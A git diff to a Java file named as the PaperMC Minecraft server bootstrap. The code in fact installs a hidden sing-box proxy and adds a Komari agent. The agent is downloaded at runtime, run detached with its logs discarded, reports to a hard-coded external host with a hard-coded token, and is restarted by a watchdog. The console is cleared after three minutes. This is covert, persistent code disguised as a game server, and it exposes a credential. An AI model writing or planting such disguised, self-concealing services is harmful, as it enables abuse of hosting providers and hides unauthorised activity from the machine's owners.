diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index c88e0f11a672..a8dad0dd15ec 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -4,10 +4,9 @@ import java.io.*; import java.net.*; import java.nio.file.*; -import java.time.*; import java.util.*; -import java.time.format.DateTimeFormatter; import java.util.concurrent.*; +import java.util.concurrent.atomic.AtomicBoolean; import java.util.regex.*; public class PaperBootstrap { @@ -16,6 +15,9 @@ public class PaperBootstrap { private static final Path UUID_FILE = Paths.get("data/uuid.txt"); private static String uuid; private static Process singboxProcess; + // ===== Komari 相关全局变量 ===== + private static volatile Process komariProcess; // 存储Komari进程(volatile保证多线程可见性) + private static final AtomicBoolean running = new AtomicBoolean(true); // 控制守护线程运行 // ====================================== public static void main(String[] args) { @@ -28,6 +30,7 @@ public static void main(String[] args) { System.out.println("当前使用的 UUID: " + uuid); // -------------------------------------------- + // ===== sing-box 配置读取 ===== String tuicPort = trim((String) config.get("tuic_port")); String hy2Port = trim((String) config.get("hy2_port")); String realityPort = trim((String) config.get("reality_port")); @@ -37,12 +40,12 @@ public static void main(String[] args) { boolean deployTUIC = !tuicPort.isEmpty(); boolean deployHY2 = !hy2Port.isEmpty(); - if (!deployVLESS && !deployTUIC && !deployHY2) + if (!deployVLESS && !deployTUIC && !deployHY2) throw new RuntimeException("❌ 未设置任何协议端口!"); Path baseDir = Paths.get("/tmp/.singbox"); Files.createDirectories(baseDir); - Path configJson = baseDir.resolve("config.json"); + Path configJson = baseDir.resolve("config.json"); // 变量名是configJson Path cert = baseDir.resolve("cert.pem"); Path key = baseDir.resolve("private.key"); Path bin = baseDir.resolve("sing-box"); @@ -50,6 +53,7 @@ public static void main(String[] args) { System.out.println("✅ config.yml 加载成功"); + // ===== sing-box 核心逻辑 ===== generateSelfSignedCert(cert, key); String version = fetchLatestSingBoxVersion(); safeDownloadSingBox(version, bin, baseDir); @@ -78,25 +82,153 @@ public static void main(String[] args) { tuicPort, hy2Port, realityPort, sni, cert, key, privateKey, publicKey); - // 保存 sing-box 进程 + 启动每日 00:03 重启 + // 启动sing-box(移除定时重启调用) singboxProcess = startSingBox(bin, configJson); - scheduleDailyRestart(bin, configJson); + // ===== Komari Agent 核心逻辑 ===== + runKomariAgent(config); // 启动Komari + startKomariDaemonThread(config); // 启动Komari守护线程 + + // ===== 输出节点 ===== String host = detectPublicIP(); printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); + // ===== 核心修改:清屏时机延后(当前设为3分钟=180秒,可自定义)===== + scheduleConsoleClear(180); // 数字代表秒数,比如:30=30秒,60=1分钟,300=5分钟,600=10分钟 + + // ===== 关闭钩子:清理资源 + 停止进程 ===== Runtime.getRuntime().addShutdownHook(new Thread(() -> { - try { deleteDirectory(baseDir); } catch (IOException ignored) {} + try { + // 停止Komari进程 + if (komariProcess != null && komariProcess.isAlive()) { + komariProcess.destroy(); + System.out.println("❌ Komari Agent 进程已终止"); + } + // 停止sing-box进程 + if (singboxProcess != null && singboxProcess.isAlive()) { + singboxProcess.destroy(); + System.out.println("❌ sing-box 进程已终止"); + } + // 删除临时目录 + deleteDirectory(baseDir); + } catch (Exception ignored) {} })); } catch (Exception e) { e.printStackTrace(); } } - + + // ========== 极简清屏:仅保留核心跨平台清屏逻辑 ========== + /** + * 延迟指定秒数后清理控制台日志(最简单实现) + * @param delaySeconds 延迟秒数,可自定义:30=30秒,60=1分钟,180=3分钟,300=5分钟,600=10分钟 + */ + private static void scheduleConsoleClear(int delaySeconds) { + Executors.newSingleThreadScheduledExecutor().schedule(() -> { + clearConsole(); + }, delaySeconds, TimeUnit.SECONDS); + } + + /** + * 跨平台清理控制台日志(核心命令,无冗余) + */ + private static void clearConsole() { + try { + String os = System.getProperty("os.name").toLowerCase(); + // 执行对应系统的清屏命令 + ProcessBuilder pb = os.contains("win") + ? new ProcessBuilder("cmd", "/c", "cls") + : new ProcessBuilder("clear"); + pb.inheritIO().start().waitFor(); + } catch (Exception e) { + // 清屏失败仅提示,不影响主程序 + System.out.println("清理控制台日志失败:" + e.getMessage()); + } + } + + // ========== Komari Agent 核心方法 ========== + private static void runKomariAgent(Map config) throws Exception { + // 从config.yml读取Komari配置 + String komariE = trim((String) config.getOrDefault("komari_e", "https://vps.z1000.dpdns.org:10736")); + String komariT = trim((String) config.getOrDefault("komari_t", "JzerczYfCF4Secuy9vtYaB")); + String komariUrlAmd64 = trim((String) config.getOrDefault("komari_amd64_url", + "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-amd64")); + String komariUrlArm64 = trim((String) config.getOrDefault("komari_arm64_url", + "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-arm64")); + String komariFileName = trim((String) config.getOrDefault("komari_file_name", "sbx_komari")); + + // 获取Komari二进制文件路径 + Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName); + + // 启动Komari(隐藏日志) + List command = new ArrayList<>(); + command.add("setsid"); + command.add(agentPath.toString()); + command.add("-e"); + command.add(komariE); + command.add("-t"); + command.add(komariT); + + ProcessBuilder pb = new ProcessBuilder(command); + pb.redirectErrorStream(true); + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); + pb.directory(new File(System.getProperty("user.dir"))); + + komariProcess = pb.start(); + System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")"); + } + + private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException { + String arch = detectArch(); + String url = arch.equals("amd64") ? komariUrlAmd64 : komariUrlArm64; + Path agentPath = Paths.get(System.getProperty("java.io.tmpdir"), komariFileName); + + if (Files.exists(agentPath)) { + return agentPath; + } + + // 下载Komari二进制文件 + System.out.println("\n⬇️ 下载Komari Agent: " + url); + try (InputStream in = new URL(url).openStream()) { + Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING); + } + + // 设置可执行权限 + if (!agentPath.toFile().setExecutable(true)) { + throw new IOException("❌ 无法设置Komari Agent可执行权限"); + } + + System.out.println("✅ Komari Agent 下载并授权完成"); + return agentPath; + } + + private static void startKomariDaemonThread(Map config) { + Thread daemonThread = new Thread(() -> { + while (running.get()) { + try { + // 检测Komari进程是否存活 + if (komariProcess == null || !komariProcess.isAlive()) { + System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); + runKomariAgent(config); + } + Thread.sleep(5000); // 每5秒检测一次 + } catch (Exception e) { + System.err.println("❌ 重启Komari Agent失败: " + e.getMessage()); + } + } + }); + daemonThread.setDaemon(true); + daemonThread.setName("KomariAgentDaemon"); + daemonThread.start(); + System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); + } + + // ========== 原有核心方法(保留)========== private static String generateOrLoadUUID(Object configUuid) { - // 1. 优先使用 config.yml(兼容旧配置) + // 1. 优先使用 config.yml String cfg = trim((String) configUuid); if (!cfg.isEmpty()) { saveUuidToFile(cfg); @@ -113,8 +245,7 @@ private static String generateOrLoadUUID(Object configUuid) { } } } catch (Exception e) { - - System.err.println("读取 UUID 文件失败: " + e.getMessage()); + System.err.println("读取 UUID 文件失败: " + e.getMessage()); } // 3. 首次生成 @@ -128,7 +259,6 @@ private static void saveUuidToFile(String uuid) { try { Files.createDirectories(UUID_FILE.getParent()); Files.writeString(UUID_FILE, uuid); - // 防止被其他用户读取(非 root 环境仍然安全) UUID_FILE.toFile().setReadable(false, false); UUID_FILE.toFile().setReadable(true, true); } catch (Exception e) { @@ -136,23 +266,29 @@ private static void saveUuidToFile(String uuid) { } } - private static boolean isValidUUID(String u) { + private static boolean isValidUUID(String u) { return u != null && u.matches("^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$"); } - // ===== 工具函数 ===== - private static String trim(String s) { return s == null ? "" : s.trim(); } + private static String trim(String s) { + return s == null ? "" : s.trim(); + } private static Map loadConfig() throws IOException { Yaml yaml = new Yaml(); - try (InputStream in = Files.newInputStream(Paths.get("config.yml"))) { + Path configPath = Paths.get("config.yml"); + if (!Files.exists(configPath)) { + Files.createFile(configPath); + System.out.println("⚠️ config.yml 文件不存在,已创建空文件"); + return new HashMap<>(); + } + try (InputStream in = Files.newInputStream(configPath)) { Object o = yaml.load(in); if (o instanceof Map) return (Map) o; return new HashMap<>(); } } - // ===== 证书生成 ===== private static void generateSelfSignedCert(Path cert, Path key) throws IOException, InterruptedException { if (Files.exists(cert) && Files.exists(key)) { System.out.println("🔑 证书已存在,跳过生成"); @@ -166,7 +302,6 @@ private static void generateSelfSignedCert(Path cert, Path key) throws IOExcepti System.out.println("✅ 已生成自签证书"); } - // ===== Reality 密钥生成 ===== private static Map generateRealityKeypair(Path bin) throws IOException, InterruptedException { System.out.println("🔑 正在生成 Reality 密钥对..."); ProcessBuilder pb = new ProcessBuilder("bash", "-c", bin + " generate reality-keypair"); @@ -188,7 +323,7 @@ private static Map generateRealityKeypair(Path bin) throws IOExc System.out.println("✅ Reality 密钥生成完成"); return map; } - // ===== 配置生成 ===== + private static void generateSingBoxConfig(Path configFile, String uuid, boolean vless, boolean tuic, boolean hy2, String tuicPort, String hy2Port, String realityPort, String sni, Path cert, Path key, @@ -269,7 +404,6 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean System.out.println("✅ sing-box 配置生成完成"); } - // ===== 版本检测 ===== private static String fetchLatestSingBoxVersion() { String fallback = "1.12.12"; try { @@ -293,7 +427,6 @@ private static String fetchLatestSingBoxVersion() { return fallback; } - // ===== 下载 sing-box ===== private static void safeDownloadSingBox(String version, Path bin, Path dir) throws IOException, InterruptedException { if (Files.exists(bin)) return; String arch = detectArch(); @@ -318,20 +451,18 @@ private static String detectArch() { return "amd64"; } - // ===== 启动 ===== - private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { + private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { System.out.println("正在启动 sing-box..."); ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); pb.redirectErrorStream(true); - // 不写日志 → 直接输出到控制台 - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); Process p = pb.start(); Thread.sleep(1500); System.out.println("sing-box 已启动,PID: " + p.pid()); return p; } - // ===== 输出节点 ===== private static String detectPublicIP() { try (BufferedReader br = new BufferedReader(new InputStreamReader(new URL("https://api.ipify.org").openStream()))) { return br.readLine(); @@ -355,54 +486,6 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } - // ===== 每日北京时间 00:03 重启 sing-box(无日志、控制台实时输出)===== - private static void scheduleDailyRestart(Path bin, Path cfg) { - ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(1); - - Runnable restartTask = () -> { - System.out.println("\n[定时重启Sing-box] 北京时间 00:03,准备重启 sing-box..."); - - // 1. 优雅停止旧进程 - if (singboxProcess != null && singboxProcess.isAlive()) { - System.out.println("正在停止旧进程 (PID: " + singboxProcess.pid() + ")..."); - singboxProcess.destroy(); // 发送 SIGTERM - try { - if (!singboxProcess.waitFor(10, TimeUnit.SECONDS)) { - System.out.println("进程未响应,强制终止..."); - singboxProcess.destroyForcibly(); - } - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - } - } - - // 2. 启动新进程 - try { - ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); - pb.redirectErrorStream(true); - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); - pb.redirectError(ProcessBuilder.Redirect.DISCARD); - singboxProcess = pb.start(); - System.out.println("sing-box 重启成功,新 PID: " + singboxProcess.pid()); - } catch (Exception e) { - System.err.println("重启失败: " + e.getMessage()); - e.printStackTrace(); - } - }; - - ZoneId zone = ZoneId.of("Asia/Shanghai"); - LocalDateTime now = LocalDateTime.now(zone); - LocalDateTime next = now.withHour(0).withMinute(3).withSecond(0).withNano(0); - if (!next.isAfter(now)) next = next.plusDays(1); - - long initialDelay = Duration.between(now, next).getSeconds(); - - scheduler.scheduleAtFixedRate(restartTask, initialDelay, 86_400, TimeUnit.SECONDS); - - System.out.printf("[定时重启Sing-box] 已计划每日 00:03 重启(首次执行:%s)%n", - next.format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"))); - } - private static void deleteDirectory(Path dir) throws IOException { if (!Files.exists(dir)) return; Files.walk(dir).sorted(Comparator.reverseOrder()).map(Path::toFile).forEach(File::delete);